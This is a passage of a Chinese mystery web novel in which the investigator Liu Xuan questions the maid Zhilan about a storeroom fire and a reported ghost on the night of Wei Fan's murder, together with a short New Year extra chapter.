可是魏王氏却声称,自己当夜是被院中侍从那惊恐万分的惊吓声吓醒,彼时魏凡被害身亡,院中忙作一团,她也无暇顾及走水一事。 待她缓过神来时,院中的火势早已被众人扑灭,而她也未曾亲眼目睹那场火灾的具体情形。 见柳悬对那场无足轻重的火灾如此重视,刚得偿所愿的魏王氏便很给柳悬面子,顺势卖了个人情,说是待会可以安排当夜发现火势的侍女单独陪他们在院里转一转。 柳悬见状,自然是欣然应允下魏王氏的盛情提议。 其后,他转而向魏王氏讨要了魏凡生前遗留的药粉与药渣,以及那张用于治疗头痛的药方,仿佛是盘算着从中发掘出一些新线索。 此时,宋旌就守在柳悬身后。 就在轻红随魏王氏唤来的侍女准备前往八角小楼与后厨取物之际,柳悬忽然拽住轻红,贴近轻红的耳畔,与她低声细语了几句。 柳悬的声音极为隐秘,即便是近在咫尺的宋旌,也无法听清其中的内容。 只见轻红听完柳悬的吩咐后,脸上绽放出一抹胸有成竹的笑意。 她向柳悬点了点头,朝柳悬默契十足地眨了眨眼睛,仿佛已经领会了柳悬的意图。 接着,轻红热络地挽住侍女的手臂,与那位极其克制与拘谨的侍女有说有笑地一同走了出去。 35.元旦[番外] 百里:子夏!鹑儿! 百里从学校火急火燎地跑回家。 百里:今日正好是元旦,据说钟楼会在子时燃放烟火,还能看见气球雨,要不要一起出去逛逛? 鹑儿穿着黑色的居家服,挽着一个高马尾发髻,坐在沙发上,脚上踏着一双兔子头的毛绒拖鞋,怀里还抱着一桶冰激凌:今日不是腊月初二?小呆子不会是在学校,把自己给关傻了吧? 百里扔下书包,一巴掌拍在自己程亮的脑门上:嘶~瞧我这驴的记忆!我怎么就给忘了,元旦在以前可是指《太初历》中的正月初一呀! 子夏穿着雪白的黑色波点居家服,披散着一头乌发,双腿屈膝,侧坐在沙发上,背靠着鹑儿那坚实的臂膀,与电视墙成九十度的夹角,腿上放着一台水墨屏的阅读器:非也,元旦又称“三元”,即岁之元、月之元、时之元,“元”乃“第一”的意思,凡数之始皆可称之为“元”,而“旦”则是指“骄阳从天际升起”的那一刻,故而元旦的含义甚广。 鹑儿一边仔细听着,一边连连点头应和,期间,还顺手挖了一大勺冰激凌,塞进了自己的嘴里,满脸皆是既倾佩又得意的表情,那咧到耳根的嘴角仿佛是在说:瞧!我家哥哥就是学识渊博! 百里瞧着鹑儿那傻样,无奈地摇了摇头,跟着坐在沙发的另一侧,用手肘捅了捅鹑儿的胳膊,掏出手机,打开了百度百科,并打开了网页的朗读功能,将声音调至最大,递到了鹑儿的眼前。 可鹑儿却无动于衷,黑着一张脸,作势要将百里的手机给塞进身前的鱼缸里,吓得百里赶紧摁了静音,护紧了自己的手机。 百里心虚地挪到一旁:咳咳!既然子夏对元旦的起源颇有研究,那要不,请子夏代鹑儿,与百里一起祝福一下喜爱咱们的读者朋友吧~ 子夏略微思索了一下,果然放下了手中的阅读器,将双腿放至地毯上,端正好自己的坐姿。 子夏:世间之事,但求一个“满”字,那便祝各位娘子、郎君,心满、意满、志满,岁岁圆满无缺吧。 百里感激地看向每次都极为配合百里的子夏,流出了不争气的眼泪:好!那百里也祝大家在2025年,人旺、气旺、运更旺! 子夏见百里感动的泪眼汪汪,便不忍心地轻轻碰了碰鹑儿的腿。 鹑儿塞得跟个小仓鼠似得,一脸茫然地反问道:我也要说啊? 鹑儿见子夏眨了眨眼睛,被逼无奈,只 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百里与子夏瞧着鹑儿那憨直的模样,相视一笑,最后还是决定先放他一马。 36.走水 待魏王氏的贴身侍女携轻红一同离去,魏王氏站在闺房门口,又抬手招来一名侍女。 此人正是先前在院门前,向众人答话的少女。 少女低头步入屋内,眼神时不时地偷偷向上瞟,小心翼翼地窥视着主子的神色。 见魏王氏对柳悬恭敬有加,那俏皮又灵动的少女不自觉地收敛许多。 少女低垂下眼帘,细密的睫毛轻轻地覆盖在不安的眼眸上,她再也不敢直视宋旌与柳悬,生怕自己一个不经意的举动,会冲撞了主子的贵客。 魏王氏端坐于正厅中央,她故意抬高声音,在宋旌与柳悬面前,向那怯生生的少女,叮嘱了几句。 她嘱咐少女,对柳悬所问之事定要知无不言、言无不尽,不得有丝毫隐瞒或懈怠。 更特意吩咐少女,要她领着柳悬与宋旌,前往院中起火的地方,去亲自查看一番。 言辞间,满是魏王氏的诚意。 少女得了令,如获大赦,赶忙退至房外,守在闺房门口的游廊上。 等柳悬向魏王氏致谢完毕,他与宋旌一同行至少女身侧。 这时,少女才上前引领,带着他们向院子南侧走去。 魏凡的院子,占地约三亩五分。 院子北侧,一座气势恢宏的八角小楼巍峨矗立,飞檐如翼;东侧是长约六丈二尺的东厢房,也就是魏王氏的寝居;西侧,三间长约两丈的上等客房,房门紧闭,毫无生气;而南侧十间规格一致的房间中,只有两间是用于装人,余下八间则是用来藏物。 在西南侧的下房与八间装满奇珍异宝的库房间,有一道狭窄的垂花门若隐若现。 柳悬与宋旌随少女,沿着游廊蜿蜒前行。 游廊外,花木扶疏,清风徐来。 在衣袂随微风飘动时,柳悬与宋旌终于行至那一排长长的库房外。 此刻,库房的门窗紧闭。 少女正专注地低下头,用灵巧的手指拨弄着门上的铁锁。 那铁锁在少女的手中发出阵阵冰冷的“咔咔”声。 柳悬的声音温柔而富有磁性,如同春风拂面般,十分和煦地打破了现场的静谧:“敢问姑娘尊姓芳名?” 柳悬状似随意地询问出声,语调轻松且自然,令人不觉唐突与冒犯。 少女一边用力地拧开门锁,一边顺从地俯首帖耳道:“郎君唤奴芝兰即可。” 随着“吱呀”一声清响,门锁应声而开。 宋旌推着柳悬的轮椅,跟随在芝兰的身后,同芝兰一起步入库房。 屋内昏暗而幽深,一缕缕苍白的光线从门板上方那扇狭小的窗缝间溜进,洒在堆满各式物品的地上与木架子上。 屋子的正中央,一袋袋金黄的稻谷与雪白的面粉码放得整整齐齐,宛如一座座小山,散发出诱人的稻香与麦香。 环顾四周,高大的木架上摆放着琳琅满目的物件,令人眼花缭乱、目不暇接。其中,北侧的架子上,放满了成捆的绫罗绸缎,五彩斑斓、熠熠生辉;旁边还摆放着适用于不同场合的金银器皿,闪耀着璀璨光芒。 东侧则放置了许多的陶罐,罐口被蜡封得严严实实,仿佛盛着酿制多年的美酒或腌制入味的酱瓜、咸菜。 南侧也摆放了许多精美的木盒或瓷瓶,盒盖或瓶身上贴着一张崭新的标签,标签上写着人参、灵芝、鹿茸与珍珠粉等名贵药材的名称,亦或是各种见所未见、闻所未闻的滋补药丸与膏方。 相比之下,西侧的架子显得最为平平无奇,上面只放了些再寻常不过的物件,譬如镶嵌珠宝的铜镜、琉璃制成的梳篦与名贵的笔墨纸砚等。 柳悬的目光从右向左,在库房中一扫而过。 他打眼一瞧,便瞧见屋子的东南角有被火灼烧过的痕迹。 那里,一片焦黑,有几分狰狞的狼藉景象跃然眼前。 仔细瞧去,可以从残存的痕迹中依稀分辩出诸多的细节: 打碎的陶罐碎片散落一地。 酒水与腌制品的混杂,在尘土的掩映下,显得浑浊不堪。 被烈火肆虐过的粮食布袋裂开一道巨大的口子,袋子的边缘被火舌舔舐得卷曲发黑,其间的稻谷泼洒在泥泞般的地面上,只剩下几个空掉的布袋无力地垂落在边缘。 地上那一摊形状诡异的凝固物似是火与物的交融之证,正散发着一种焦糊与咸香交织的奇怪味道,令人闻之,不禁皱眉。 当你身处其间,若能用心嗅探。 或许还能捕捉到一丝不易察觉的油香。 “芝兰姑娘,”坐在轮椅上的柳悬缓缓扫视过屋内的场景,在粗略查看过一番后,将目光定格在紧随宋旌的少女身上,声音沉稳,且带有几分探究的意味儿,“柳某记得前宵,天降大雨,滂沱不息,彼时,众人理应早已安寝,此间库房重地,素日鲜有燃烛之理,今朝观此地,走水之势甚烈,不知是何缘故?莫非有何隐情?” 柳悬轻转轮椅,面向芝兰,神色一如往常,平心静气。 芝兰亦步亦趋地跟着,眼见宋旌也随柳悬停下脚步,转过身来。 芝兰心头一颤,不露声色,忙不迭地调整步伐,与宋旌保持一段适当的距离,以免丢了礼数,惹得主子不悦。 “回官爷的话,”芝兰将头又向下埋了几分,努力保持着镇定,用轻颤的声音回复道,“那夜……其实是,是厨娘打翻了烛台,才……才引起了大火。” “厨娘?” 柳悬轻轻蹙眉,他只是下意识地重复了芝兰话语中的关键之处。 那语调陡然上扬的尾音,在寂静的库房中显得格外的清晰。 芝兰像是被这一声吓得不轻。 她浑身猛地一抖,犹如一只受惊的小鹿,紧张地点了点头。 柳悬淡然地凝视着芝兰。 芝兰言辞闪烁、目光游离,显然是心中残留了不必要的顾虑。 或许,此刻的芝兰也在暗中权衡着哪些话该说出口,哪些话又必须烂在肚子里……以至于芝兰仅仅是吐露了一句话,便似惊弓之鸟,生怕言多有失,谨慎地抿紧了双唇。 “请姑娘宽心,姑娘所言,唯存此时此地,绝无外泄之可能,”柳悬的声音清缓而深沉,他柔声细语,像是一位温文尔雅的夫子在耐心地引导一位稚童,“烦请姑娘,将那夜走水时,亲历的前因后果,细细道来。” 芝兰的心思被柳悬一眼洞穿,而柳悬对此坦然处之,这让芝兰心中不禁生出了几分好感。 芝兰回想起魏王氏的嘱托,如今又得到了柳悬的明确指示。 经过一番深思熟虑,一向谨小慎微的芝兰慢慢放下了心中的戒备,不再遮遮掩掩,而是坦诚地、一五一十地将当夜发生的事情娓娓道来。 “郎君有所不知,奴家夫人自幼养成了一个习惯,不论春夏秋冬,每隔三个时辰,必服一小碗三白汤。” “那汤药,于夫人而言,乃是驻颜养生的秘方,是一日、一次也断不可缺。” 芝兰神情严肃,一板一眼地强调着她对那汤药重要性的认识。 “因此,厨房的灶台上,日日都熬煮着新鲜的、上好的药材,夜深人静时,夫人还会特地命厨娘将熬好的汤药提前温在她的小灶上。” 芝兰的目光渐渐变得深远,脑海中有关前天夜里的经历,如潮水般不断翻涌而出。 那天夜里,大雨倾盆,天地间仿佛被一层密不透风的水帘所笼罩,每一寸空气都弥漫着湿润与沉闷。 芝兰侍奉魏王氏多年,如今她已养成习惯:每当距离魏王氏服药仅剩半个时辰,芝兰便会自然而然地从梦中苏醒。 当夜,芝兰从床上起身,恰逢一道闪电劈开夜空,如同天神怒睁的双眼,那犀利而短暂的光芒,将芝兰视线所及之处瞬间照亮,犹如白昼一般。 芝兰的目光在那一刹那的明亮中闪烁,随即又沉入了无尽的黑暗。 下一刻,漆黑的院落静谧得令人心悸,偌大的院子里,只有雨声如鼓点般急促而有力,一下接一下地敲打着窗棂,也敲打着芝兰的心。 “可是前天夜里,也不知是那厨娘一时疏忽大意,竟忘了要提前为夫人熬煮汤药,还是哪个不省心的小丫头,错把夫人的汤药当作了厨馀,顺手便给处理掉了。”芝兰的语气中有几分无奈与埋怨。 那夜,她从魏王氏寝居旁边的耳房中离开。 出门时,她还不由自主地远远瞥了一眼魏凡的小楼。 只见那小楼上灯火通明,犹如一座风浪中的灯塔,灯塔中有两道颀长的黑影,似灯芯般,在风浪中翻腾挪动。 借着八角小楼所散发的光,芝兰手擎一盏摇曳不定的烛台,穿过那条曲折的游廊,一路向南,行至前院北侧的小厨房。 “那晚,亥时末刻,奴如往常一般前往厨房,欲取夫人的汤药,却惊奇地发现,本应该在灶台上的药碗与药锅竟不翼而飞、遍寻不得,就连厨娘平日里存放药材的罐子,也消失得无影无踪。”芝兰面露疑色。 那时,她一寸一寸地仔细搜寻过小厨房的每一处角落。 然而,除了那火势熊熊、木柴烧得噼啪爆响的灶台,与灶台上那孤零零的甑具外,其余地方已被清扫得干干净净,整洁到近乎诡异。 “眼瞅着子时眨眼便要到了,即将错过夫人服药的时辰,奴再也不能耽搁片刻!”芝兰的眉眼间显露出一抹焦急的神色,“奴不得不转而唤醒厨娘,让她与奴一同前往库房,尽快寻得所需的物件,为夫人熬制那救急的药汤。” 雨夜沉寂。 雨水汇集于屋檐,凝聚成豆大的水滴,似密集的箭镞般,噼里啪啦地射落在铺得整整齐齐的石板上,溅起一朵朵晶莹的水花,好似池塘中绽放的白莲。 芝兰心急如焚,她全然不顾斜入屋檐的雨水,一手紧紧提住被雨水侵袭的裙摆,在游廊上疾奔,随后急急敲响了小厨房旁的一间房门。 门“嘎吱”一声开了,四五个睡眼惺忪的丫头,从温暖的被窝里,迷迷糊糊地探起身来,望向门外浑身湿漉漉的芝兰,眼中满是好奇与诧异。 芝兰二话不说,她伸手拽起神志未清的厨娘,胡乱地从一旁拿起一两件外衣,往厨娘身上一套,又顺手抄起厨娘屋内那盏未点燃的油灯,脚步匆匆,径直朝内院南侧最东面的库房赶去。 “那时,奴只觉事态紧急,三白汤的熬制是一刻也耽误不得,万般无奈之下,奴只得跟厨娘分开。”芝兰的眉心紧锁,似有一丝懊悔。 库房外,那一点昏黄的烛光在夜风中晃动,顽强地点亮了围绕着芝兰的黑暗,映照出厨娘那张茫然无措的脸庞。 “为了力求省时,奴让厨娘去南侧最靠东的库房找寻药材,而奴则去另一间库房,取一口崭新的药锅。” 芝兰点燃手中油灯,将灯火跳跃的烛台递给厨娘,向厨娘简短交代了眼前的紧迫情况。 厨娘缓了一会儿,才慢慢清醒了一些,找回了一丝神智。 彼时,芝兰那张稚嫩的脸上已爬满了焦急之色,她心中警铃大响,暗叫不妙:“糟了糟了,今夜怕是难逃一顿责罚。” 但事已至此,未免事态升级,她也只能硬着头皮,转身,朝 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“奴慌忙将药锅往旁一放,一边焦急地呼喊厨娘,一边慌慌张张地向她所在的库房奔去,待奴赶到时,那库房已燃烧起滚烫的大火。” 惊慌失措的芝兰在抵达厨娘所在的库房时,竟被突如其来的大火惊得怔愣在游廊上。 那火光越来越亮,倒映在芝兰的瞳孔中,越烧越旺。 直到芝兰想起厨娘一直没有回应她的呼唤,她赶紧强行镇定下来。 “当时,”芝兰那颤抖的声音带有一丝后怕,“我见厨娘已经失去了神智,瘫软在地上,不省人事,外面的雷雨声又大,风吹得紧闭的窗户发出哐哐的声响,可四周依旧黑黢黢的一片,半天不见一个活人的影子。” 芝兰为了先救厨娘,毅然冲进了库房,她用手臂紧紧地挡住那刺眼的火光,即便那炽热的火焰烤在她那娇嫩的皮肤上,烫得她生疼,但她还是忍着燎人的热度,将昏死在地上的厨娘拼命地拖拽出库房。 “仅凭奴一人,奴只能趁火势还未完全失控,将厨娘拖出火海,搬至游廊上,再往西侧尽头的下房奔去。” 着火的库房位于内院南侧游廊的最东面,属于内院的东南角,而侍从们的下房则位于最西面,属于内院的西南角,两者相隔约十五丈之遥。 芝兰一路狂奔,脚下的石板被雨水冲刷得如同镜面般湿滑,她踉踉跄跄,几近摔倒,却不敢停歇。 “那夜,”芝兰在回忆时,心头倏尔涌上一种委屈的滋味,她眼含热泪,哽咽道:“奴边跑边喊,一路跑至院中侍从的房门前,用力地在门上拍打了好几下,才算是将下房中的侍从们完全叫醒。” 风,肆意地吹动着雨丝,它们无情地洒落在芝兰那张冻得惨白的脸颊上,与无助的泪水混在一起,让人分不清是雨还是泪。 门猛然从内拉开,露出含光那张睡意朦胧的脸。 芝兰望着他,结结巴巴,几乎是哭喊着说出:“走……走水了!快去救火!”。 芝兰的声音略带沙哑,显得有些狼狈,但当她看到含光的那一刻,还是忍不住松了口气,心中涌起一种如释重负的感觉。 含光一听,脸色骤变,原本的睡意瞬间被凝重所取代。 他迅速拍醒所有侍从,有条不紊地指挥着每一个人。 一时间,满屋子的人仿佛被不同的绳索牵引,腾地一下窜了起来。 有的忙着点灯照亮;有的忙着穿衣套鞋;还有的已经率先起身,往屋外瞧去。 “侍从们见库房起了火,都急急忙忙地去救火,而奴则将厨娘扶至更远的地方,以免妨碍了众人。” 不知何时起,雨势虽有了渐小的趋势,但院子里已然火光冲天,那灼灼烈火,映红了每一张焦急而紧张的脸。 侍从们那粗犷的吵嚷声惊醒了沉睡在各屋的人们。 他(她)们纷纷披衣而起,或亲身救火,或指手画脚。 顷刻间,院子里人声鼎沸,到处都是忙碌的身影。 有人匆匆跑至井边打水,水桶在众人手中上下传递,水花四溅;有人则忙于搬运湿泥,盛满湿泥的簸箕显得异常笨重;还有人担着被火灼伤的风险,在搬运库房中的贵重物品。 数不清的草鞋踏在积满雨水的青石地基上,冰凉的雨水又被踩得飞溅至众人的身上,只有“哒哒哒”的脚步声在雨中显得格外的响亮。 “幸亏火势被及时发现,”芝兰轻声说道,后怕中又带有一丝劫后余生的庆幸,“众人当晚只忙活了半个时辰,就彻底熄灭了那场大火。” 芝兰的目光紧紧盯住她的脚尖。 她十分配合柳悬,将自己当时的经历,一丝不苟、事无巨细地描述出来。 柳悬一边听着,一边看似漫无目的地,在库房中悠闲转悠。 他认真审视着这间屋子,目光掠过之处,都在他的心里刻下了一道规整的印记。 屋子十分宽敞,是一个长约一丈八尺、宽约一丈六尺,四壁严实,由石砖垒砌的房屋,房屋无窗可透,倒是极易诱发火情。 柳悬检查完库房,发现除了那被烧黑的一角略显惹眼外,似乎也瞧不出别的异样。 阳光从敞开的房门处斜斜地射入密闭的空间,如金色的绸缎般,铺洒在屋子中央的粮食布袋上。 “那日,你们是何时瞧见蒋公子离开魏公子的房间?”柳悬的目光在房间中游走,最终定格在正中央的粮食布袋上,他从布袋上拾起一小段细小的麻线,如古钟般悠扬的声音在库房中响起,面向一步也不敢轻举妄动的芝兰,发出低沉而有力的询问声。 37.秋葵 芝兰的心绪仍沉浸在昨夜的慌乱中,她眉心紧蹙,嘴唇微抿成一条细线,经过一番努力思索,她才像是终于从那混沌不堪的记忆中摸索到了一丝线索,无比肯定地答复道:“约莫是在我前往下房召唤侍从们那一会儿,侍从们刚从屋子里陆陆续续地跑出来,正欲随我一同去库房救火,便听含光忽然拔高了音量,询问蒋公子‘怎不带伞就跑出来了’。” 夜色如墨,雨云未散,汇聚在屋顶,浓得像是化不开的墨团,仿佛能吞噬一切光线。 远处的天边,蓝紫色的电光时隐时现,如同幽冥之中的鬼火,闪烁着诡异的光芒。 那时,雨虽已渐小,但淅淅沥沥的雨声依旧敲打着内院的屋檐。 芝兰的眼前浮现出那一夜所见的画面:细雨与狂风在每一个人的身上肆虐,芝兰看见蒋礼的身影在小楼的灯火下显得格外狼狈,她看见蒋礼跌跌撞撞地冲出房门,衣衫不整、发丝凌乱,却看不清蒋礼脸上的表情,更无法注意到被蒋礼紧掩在怀中的血迹。 “我与侍从们随含光一道瞧向蒋公子,”芝兰一边细细回味着那一夜的情景,一边缓缓补充道,“只见蒋公子慌慌张张,像见鬼一样,对含光的一片好心不理也不睬,任凭衣衫凌乱不堪地裹在身上,头发被雨水打湿,一绺一绺地贴在他冻得灰白的脸上,却浑然不顾,只是发疯般地冲出院门,径直冲进雨中。” 芝兰又眯起双眼,凝神,仔细思量了一番,在确认那混乱的记忆中再无蒋礼的半点踪迹后,方才接着说道:“那时,库房的物品还被烈火烧得劈啪作响,我们的心思全然被那火光牵动,哪还有余下的闲情去顾忌蒋公子,只一心想着要先去库房救火,生怕耽搁了片刻。” 芝兰轻轻晃动头颅,心中暗自喟叹道:若不是含光眼尖,率先瞥见蒋公子,我们那时又岂会分心去留意他?毕竟,库房若是烧毁,那后果可比蒋公子夜里突然跑了要严重上千倍万倍。我们这些下人,平日里光说错一句话,便有可能遭来一顿毒打,自身尚且难保,又哪有余力去管他一个矜贵公子的处境? 柳悬的目光似一把钩子,紧紧地锁定在芝兰的脸上。 芝兰的每一个细微表情、每一次轻微的叹息,都无法逃过柳悬的眼睛。 “走水至今,除了那一夜参与救火的人,芝兰姑娘可曾瞧见有何人在此地逗留、徘徊?”柳悬并未急于对芝兰之前的回答做出任何的回应,他只是在短暂的停顿后,继续抛出一个新的问题。 他的神色平静如水,让人难以捉摸他内心的想法。 芝兰感到一阵茫然,她的眼珠子快速地转动了几下,像是试图从记忆中寻找出答案。 “这间库房,自从那一夜意外走水后,便上了锁,”芝兰的声音中带着几分不确定,却也透露出对院中规矩的牢记于心,“院里所有库房的钥匙,唯有主子、夫人与含光三人掌握。这几日,院中上下皆忙于主子的身后事宜,连地上的残片余烬都未来得及清理,又怎会有人到此处来?” 芝兰满心疑惑,她实在摸不着头脑,不理解柳悬为何会抛出这样的问题,更不明白库房走水与主子遇刺这两件事,究竟有何种联系。 芝兰的心中七上八下,她偷偷抬眼,目光如窃,掠过柳悬那沉稳的面庞。 只见柳悬微微颔首,嘴角挂着一抹浅淡的笑意,仿佛对她的回应早有预期。 柳悬的视线随即游走,他沉默不语地打量着每一个角落,将库房上下再次审视了个遍。 柳悬仰首,望向屋顶。 这间库房高约一丈五尺,最高处离地竟有两丈一尺之遥,而在那约莫一丈五尺的位置,一根粗壮的房梁横亘其间,直径约一尺三寸。 房梁上,除了两端落有浮动的细小尘埃外,屋子正中央那一段却出奇地整洁如新,仿佛刚被人精心擦拭过一般,光洁如镜、一尘不染。 “姑娘,”柳悬的声音在库房西侧响起,他本想穿过身侧那高耸如山的粮食布袋堆,去窥视东侧芝兰的神色,却不料在不经意间,将目光落在了西、北两侧交汇处的几个粮食布袋上,发现相隔不远的布袋上零散分布着几处形态各异、不甚显眼、斑驳残缺的红漆印记,细看之下,那几个模糊的印记在柳悬的脑海里拼凑、覆盖在一起,竟隐隐约约,形似一朵盛放的秋葵,“你可知晓那厨娘因何昏厥于地?又是缘何失手打翻了烛台?” 芝兰听见柳悬的问话,她不禁僵在原地,只觉脊背上有一股寒流顺着笔直的脊骨滑落,让她忍不住打了个寒噤。 她满心纠结,实在不愿再勾起厨娘那一番离奇得过于荒诞不经的话语,但见柳悬已然问到问题的症结所在,让她再也无法隐瞒,更不敢含糊其辞。 无奈之下,芝兰只得试图让自己镇定下来。 她的喉头不自觉地滚动,艰难地咽了几口唾沫,硬着头皮,声音细若游丝,战战兢兢地答道:“据厨娘所言,那夜她刚在库房中寻得所需的药材,便听得屋子南侧传来一阵乒乒乓乓的异响,似有什么东西坠落在地上。” 芝兰一边低声诉说,一边用眼角余光鬼鬼祟祟地快速扫视了一眼四周。 尽管外面仍是阳光明媚的青天白日,可昏暗的库房内却似乎弥漫着一股说不出的阴冷,还有一阵凉风从芝兰的头顶掠过,让她浑身的汗毛都竖了起来,只觉得这库房内阴气森森、令人毛骨悚然。 “厨娘说,等她俯身捡起那枚滚落至脚边的木珠子时,她刚一抬起头,便见一青面獠牙、长发白袍的女鬼朝她飞扑过来,将她吓得魂飞魄散,当场就晕了过去。”芝兰的脖子向下一缩,双手捏紧衣袖,以此来掩饰内心的恐惧,寻求一丝聊胜于无的安全感,仿佛那女鬼的阴影此刻正笼罩在她的身上,让她心生寒意。 “女鬼?” 柳悬一听见“鬼”字,便俶尔抬眸,投向同样面色沉郁的宋旌。 柳悬不由自主地凝眉深思:这落霜院,素来无闹“鬼”之谣,怎料在魏凡遇刺之夜,竟被卷入这“鬼魅”之谈? 暂且收回探查四处的目光,柳悬转而向芝兰追问道,语气中带着不容置疑的严肃:“那女鬼,是何等模样?” 芝兰见柳悬的神情愈发地凝重起来,她的心头也不由得泛起一阵紧张,连回话的语速都不自觉地变得急促起来:“回官爷,奴、奴未曾亲眼见过。那一夜,等奴匆匆赶至库房门前时,只见厨娘撞到了架子上的陶罐,屋里燃起大火,火烧破了就近的几个布袋,白面与稻谷哗哗地往下流。除此以外,既不见半个活的人影,也未曾见到厨娘口中所述的那个女鬼。” 芝兰一边说着,一边用手急切地比划着当时的情景。 随着回忆的深入,芝兰下意识地压低声音,语速也缓缓放慢,她仿佛又被那一夜的恐惧所笼罩,近乎自言自语地说道:“不过,厨娘每次从昏睡的梦魇中惊醒,在她神志不清、浑身震颤的那一刻,她总是不停地嚷嚷着……” “她说,有个眼珠空洞、面色惨白如死灰的女鬼,脸上布满鲜红的血迹,宛如从血泊中刚刚爬出来似得,鲜血还顺着她的脸颊一股股地流下,滴落在她的眼睛里,浇了她一脸……” “在她被吓得一步也挪动不开的时候,那女鬼狞笑着,张开那双血淋淋、指尖似刀刃般的手,直愣愣地向她猛扑过来!她听见,那女鬼的嘴里还发出一声声凄厉、刺耳的尖叫!她还闻到,那女鬼身上有泥土般的腐臭气味!就好像……好像恶鬼索命一般!!!” 在向柳悬叙述的同时,芝兰的脑海里慢慢浮现出那一夜厨娘满脸血污的骇人模样。 她瞪大眼睛,警惕地望向库房的屋顶,心中涌起一股难以抑制的恐惧,仿佛她无意间惊扰了某个不该存在的禁忌之物,随时会有什么东西突然从阴影中窜出,向她索命一般,令她只觉得心跳如鼓,每一次搏动都似要将胸腔震裂,连带着周遭的空气也变得沉重,稀薄得令她几乎无法喘息。 柳悬听着芝兰那支离破碎、断断续续的转述,心里明白再问下去也难有实质性的收获,但他并未打断芝兰,也没有催促或施压,而是耐心倾听,等芝兰克服恐惧,重新组织好清晰的言语。 待芝兰的情绪稍稍平复,柳悬才以温和的语调,继续追问道:“那厨娘此刻身在何处?” “应当是在前院的下房里歇着。”芝兰的声音依旧带有些许难以自控的颤抖,她显然还未从厨娘的遭遇中完全苏醒过来。 “只是官爷,有一事,奴得提前禀明,”芝兰察觉出柳悬有意动身去寻觅那厨娘,为避免引起柳悬的不满和主子的责备,她连忙抢先一步将厨娘的现状提前告知,“那厨娘自前夜因撞鬼而失手打翻了烛台之后,便一直卧病在床,整日昏昏沉沉、疯疯癫癫。即便她碰巧能开口说话,想必也是颠三倒四,就算是奴也无法分辨,她所言所述究竟有几分真、几分假。” 柳悬颔首回应,这动作相当于是递给芝兰一枚免责令牌。 三人一行,随芝兰的脚步一同离开了库房。 就在几人行至半途、抵达东侧第三间库房时,柳悬遽然操纵轮椅停下,缓缓抬头,目光深远:“姑娘,昨夜你是从何处赶来?” 芝兰脚步一顿,心中诧异,她着实没有料到,在提及“闹鬼”一事后,柳悬竟然还对那场大火的诸多细节念念不忘。 怔愣片刻,芝兰抬手,顺着记忆中的路径移动,最终将手指指向东侧第三间屋子:“奴,是从此处赶来。” 芝兰的声音虽轻,但很坚定。 柳悬朝芝兰指示的方位,遥遥望去,片刻之后,竟出人意料地请求道:“姑娘,可否请你替柳某再还原出那一夜的所见所闻?每一个细节,皆莫要遗漏。” 芝兰因柳悬言辞间那份不容置疑的郑重,而变得神色肃穆。 她的眼眸轻轻眨动,仿佛被这突如其来的“请求”所搅乱,一时之间,竟有几分不知所措。 短暂的沉默后,芝兰在衡量不同选择的后果时,瞥见门神一般的宋旌始终没有表态,只是毫不动摇地守在柳悬身后,默默注视着一切。 推脱无望,芝兰不得不暗暗深吸一口气,在库房与下房间,绘声绘色地表演起来。 从她听到厨娘那一道贯穿耳膜的尖叫声起,一直到她唤来最西侧的侍从为止,整个过程中,她都全神贯注,竭尽全力地带领柳悬“亲眼目睹”那一夜的场景。 “便是如此。” 芝兰从走水的库房门前,一路小跑而来,停在柳悬面前,脸颊因刚才的运动而泛起淡淡红晕,气息不稳的吐息间,还残留着一丝慌乱。 “姑娘当真不曾瞧见厨娘所述的女鬼?也不曾发觉任何不同寻常之处?” 柳悬的目光如寒芒般,紧锁在芝兰的脸上,那眼神,冷冽得像是地狱中最阴冷的罗刹,正以审视的姿态,在拷问一只狡猾难缠的小鬼。 芝兰被柳悬那极具穿透性的目光看得心里直发毛,她慌忙摆动双手前臂,头摇得好似一只疯狂甩动拨浪鼓一般,十分急切、异常坚决地连声否认了柳悬的“猜想”,生怕柳悬会误会她分毫。 柳悬未置可否,他将视线缓缓从芝兰的脸上移开,落在那扇紧闭且上锁的木门上。 ——当夜,芝兰与厨娘一同来到库房屋外。厨娘进屋前,此屋犹如一个密不透风的铁匣,封闭得严严实实;而厨娘进屋后,仅仅一盏茶的功夫,芝兰便闻声而动,迅速堵住了唯一的出路,那无中生有的女鬼,若非有几分“神通”,又怎能来去自如,神不知、鬼不觉地出现在屋内? 收回纷乱的思绪,柳悬的神色逐渐缓和,恰似春日暖阳下,悄然融化的冰雪,寒意渐散。 柳悬轻推身下轮椅,他抬眼望向芝兰,目光中带有几分恳切,语气柔和:“有劳姑娘,再领柳某去前院瞧瞧。” “是。” 芝兰轻声应下,随即走在宋旌与柳悬的前方,为两人引路。 三人沿游廊向前,穿过一道雕刻精美的垂花门,眼前豁然开朗。 一跨出门,眼前便是方才魏王氏领他们进院的那一片前院。 前院的空间,布局紧凑且井然有序,每一处都透露着主人的匠心独运。 南侧,那扇漆红木门后,矗立着一块巨石屏风,屏风上雕刻着栩栩如生的图案。 东侧,一间是力士的居所,长约两丈三尺。 北侧,一排五间大小规格不一的屋子并排而立。最东边是三间一丈长的下房,紧挨着下房的是一间约八丈长的大厨房,再往西,是一间约三丈长的小厨房。 前院的西侧,虽无巍峨的房屋耸立,但墙面上雕刻着一幅幅生动传神的壁画,壁画尽头,一扇崭新的红漆小门半遮半掩。 推开红漆小门,一片狭长的空地悄然呈现于眼前。 空地北侧,一间约三丈五尺长的马厩静静地矗立在含光等侍从所居住的下房后侧。垒满草料的马厩内,三匹高大的骏马傲然挺立,它们毛色油亮,肌肉贲张,偶尔发出几声悠扬而有力的嘶鸣。 东侧,靠近红漆小门的石板路尽头,有一口幽深的古井。 东西两侧,沿着石板路,种植着争奇斗艳的花卉。 南侧,只有一间门窗紧闭的独立小屋,小屋一旁,是一方用于晾晒衣物的空地。 柳悬的目光掠过木门门槛上凌乱的脚印,被那片满是杂草与鲜花的一方天地所吸引,于是,他操纵轮椅,缓缓转向那扇漆红的小门。 “官爷?” 芝兰的声音带有几分焦急,她发现柳悬的身影已渐行渐远,忙调转脚步,提裙小跑,步履匆匆间追上了宋旌与柳悬。 柳悬操纵轮椅,木轮碾过门框上那一层淡淡的红漆,在红漆上留下两道浅浅的痕迹,径直驶向空地的右侧: “这是……黄蜀葵花?” 柳悬十分诧异。 他注意到,魏凡院中的黄蜀葵似乎比寻常时节开得更早一些。 柳悬伸出修长的手指,从枝头上摘下一朵嫩黄色的花朵。 花朵的暗褐色内面基部上,淡黄色的五裂花萼紧紧相拥,花瓣层层叠叠,花瓣中央,细密的花蕊簇拥在一起。 